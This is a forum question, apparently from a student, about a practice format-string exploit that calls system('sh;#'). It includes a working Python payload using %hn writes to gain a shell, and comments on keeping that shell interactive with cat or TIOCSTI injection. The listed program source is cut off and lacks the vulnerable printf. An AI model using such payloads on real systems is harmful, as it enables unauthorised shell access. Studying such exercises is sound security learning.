I'm studying computer science and doing security exercises at https://ctf101.org/ and exploit exercises in my free time.

I want to send input to a program's STDIN (i.e. the payload below) in a format-string exploit exercise, where the program is reading from fgets() twice.

Now, if I pipe the payload (see below), then system("sh;#") is executed, but it exits immediately, since the pipe sends EOF?

I've also checked the program's tty, and then writing to /dev/pts/0, but that doesn't work. Neither does it work to write to /proc/PID/fd/0.

How can I write to the program's STDIN, so that the call system("sh;#") will result in an interactive shell (not terminating immediately)?

python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1 

The complete program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSZ 128

int main(int argc, char** argv) {
    char buffer[BUFSZ];
    fgets(buffer, BUFSZ, stdin);
    fgets(buffer, BUFSZ, stdin); // exploit this!
    return 0;
  • I haven't tried your exploit, but you certainly can keep your pipe open with { python -c '...'; cat; } | ./exploitable_program. – Uncle Billy Mar 24 at 18:33
  • 1
    Nobody is sending any EOF through a pipe, ever. – mosvy Mar 24 at 19:00
  • If you want your shell to run with prompt and all interactive features, you can inject the payload with ioctl(TIOCSTI) instead of redirecting its input from a pipe -- example with tiocsti demo from here: printf 'exploit' | ./tiocsti & env -i ./fmtstr0x1. – mosvy Mar 24 at 19:12
  • Can you explain what (not just how) you are trying to do? – ctrl-alt-delor Mar 24 at 19:14
  • @mosvy - why don't you call an EOF an event? – Shuzheng Mar 24 at 21:27

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.